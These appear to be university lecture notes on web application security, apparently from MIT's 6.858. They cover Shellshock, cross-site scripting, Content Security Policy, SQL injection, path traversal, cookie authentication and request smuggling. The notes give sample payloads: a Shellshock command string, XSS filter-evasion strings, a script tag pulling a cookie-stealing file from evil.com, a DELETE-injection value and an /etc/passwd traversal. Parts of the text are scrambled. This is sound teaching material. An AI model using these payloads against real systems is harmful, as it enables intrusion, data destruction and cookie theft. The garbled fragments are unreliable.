Note: These lecture notes were slightly modified from the ones posted on the 6.858 course website from 2014.
Last lecture, we looked at a core security mechanism for the web: the same-origin policy.
In this lecture, we'll continue to look at how we can build secure web applications.
The recent "Shell Shock" bug is a good example of how difficult it is to design web services that compose multiple technologies.
A web client can include extra headers in its HTTP requests, and determine which query parameters are in a request. Example:
GET /query.cgi?searchTerm=cats HTTP 1.1
Host: www.example.com
Custom-header: Custom-value
CGI servers map the various components of the HTTP request to Unix environment variables.
Vulnerability: Bash has a parsing bug in the way that it handles the setting of environment variables! If a string begins with a certain set of malformed bytes, bash will continue to parse the rest of the string and execute any commands that it finds! For example, if you set an environment variable to a value like this...
() { :;}; /bin/id
...will confuse the bash parser, and cause
it to execute the /bin/id
command (which
displays the UID and GID information for
the current user).
Live demo:
Step 1: Run the CGI server.
./victimwebserver.py 8082
Step 2: Run the exploit script.
./shellshockclient.py localhost:8082 index.html
More information: http://seclists.org/oss-sec/2014/q3/650
Shell Shock is a particular instance of security bugs which arise from improper content sanitzation. Another type of content sanitzation failure occurs during cross-site scripting attacks (XSS).
Example: Suppose that a CGI script embeds a query string parameter in the HTML that it generates.
Demo:
Step 1: Run the CGI server.
./cgiServer.py
Step 2: In browser, load these URLs:
http://127.0.0.1:8282/cgi-bin/uploadRecv.py?msg=hello
http://127.0.0.1:8282/cgi-bin/uploadRecv.py?msg=<b>hello</b>
http://127.0.0.1:8282/cgi-bin/uploadRecv.py?msg=<script>alert("XSS");</script>
//The XSS attack doesn't work for this one . . .
//we'll see why later in the lecture.
http://127.0.0.1:8282/cgi-bin/uploadRecv.py?msg=<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
//This works! [At least on Chrome 37.0.2062.124.]
//Even though the browser caught the
//straightforward XSS injection, it
//incorrectly parsed our intentionally
//malformed HTML.
// [For more examples of XSS exploits via
// malformed code, go here:
// https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
// ]
Why is cross-site scripting so prevalent?
http://foo.com?q=<script src="evil.com/cookieSteal.js"/>
</script>
before it even reached the
CGI server.googleusercontent.com
(e.g., cached
copies of pages, Gmail attachments).<b>Hello {{ name }} </b>
<
and >
--> <
and >
" --> "
<div class={{ var }}>...</div>
var
equals class1 onmouseover=javascript:func()
Content Security Policy (CSP): Allows a web server to tell the browser which kinds of resources can be loaded, and the allowable origins for those resources.
Server specifies one or more headers of
the type Content-Security-Policy
.
Content-Security-Policy: default-src 'self' *.mydomain.com
// Only allow content from the page's domain
// and its subdomains.
You can specify separate policies for where images can come from, where scripts can come from, frames, plugins, etc.
eval()
which
allow for dynamic JavaScript generation.X-Content-Type-Options: nosniff
).query = "SELECT * FROM table WHERE userid=" + userid
userid
that changes
SQL query structure, e.g.,
"0; DELETE FROM table;"
query = "SELECT * FROM table WHERE userid='" + userid + "'"
userid
.You can also run into problems if untrusted entities can supply filenames.
open("/www/images/" + filename)
Problem: filename might look like this:../../../../../etc/passwd
Dos and Don'ts of Client Authentication on the Web
Zoobar, Django, and many web frameworks put a random session ID in the cookie.
lol.com/?PHPSID=abcd
a.example.com
to set a cookie for
b.example.com
. Attacker gets victim to visit
his website b.website.com
, which sets the
cookie for the victim's a.website.com
If you don't have the notion of a session, then you need to authenticate every request!
HMAC-SHA1: H(k, m)
AWS S3 REST Services use this kind of cookie: REST Authentication.
Amazon gives each developer an AWS Access Key ID, and an AWS secret key. Each request looks like this:
GET /photos/cat.jpg HTTP/1.1
Host: johndoe.s3.amazonaws.com
Date: Mon, 26 Mar 2007 19:37:58 +0000
Authorization: AWS AKIAIOSFODNN7EXAMPLE:frJIUN8DYpKDtOLCwoyllqDzg=
|___________________| |________________________|
Access key ID MAC signature
Here's what is signed (this is slightly simplified, see the link above for the full story):
StringToSign =
HTTP-Verb + "\n" +
Content-MD5 + "\n" +
Content-Type + "\n" +
Date + "\n" +
ResourceName
Note that this kind of cookie doesn't expire in the traditional sense (although the server will reject the request if Amazon has revoked the user's key).
You can embed an "expiration" field in a particular request, and then hand that URL to a third-party, such that, if the third-party waits too long, AWS will reject the request as expired.
AWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&Expires=1141889120&Signature=vjbyPxybd...
|__________________|
Included in the string
that's covered by the
signature!
Note that the format for the string-to-hash should provide unambiguous parsing!
Q: How do you log out with this kind of cookie design? A: Impossible, if the server is stateless (closing a seesion would require a server-side table of revoked cookies).
The web stack has some protocol ambiguities that can lead to security holes.
HTTP header injection from XMLHttpRequests
Javascript can ask browser to add extra headers in the request. So, what happens if we do this?
var x = new XMLHttpRequest();
x.open("GET", "http://foo.com");
x.setRequestHeader("Content-Length", "7");
// Overrides the browser-computed field!
x.send("Gotcha!\r\n" +
"GET /something.html HTTP/1.1\r\n" +
"Host: bar.com");
The server at foo.com may interpret this as two separate requests! Later, when the browser receives the second request, it may overwrite a cache entry belonging to bar.com with content from foo.com!
Host:
or Content-Length
.Here's a hilarious/terrifying way to launch attacks using Java applets that are stored in the .jar format.
In 2007, Lifehacker.com posted an article which described how you could hide .zip files inside of .gif files.
Then, if the attacker can launch a XSS attack, the attacker can inject HTML which refers to the ".gif" as an applet.
<applet code="attacker.class"
archive="attacker.gif"
...>
The browser will load that applet and give it the authority of target.com!
Web applications are also vulnerable to covert channel attacks.
window.frames[1].location.href
... and read the value that the attacker set.
However, once the browser has fetched the
content, accessing that reference will return
"undefined" due to the same-origin policy. So,
the attacker can poll the value and see how
long it takes to turn "undefined". If it takes
a long time, the page must not have been
cached! [http://lcamtuf.coredump.cx/cachetime/firefox.html]A web page also needs to use postMessage() securely.
There are many other aspects to building a secure web application.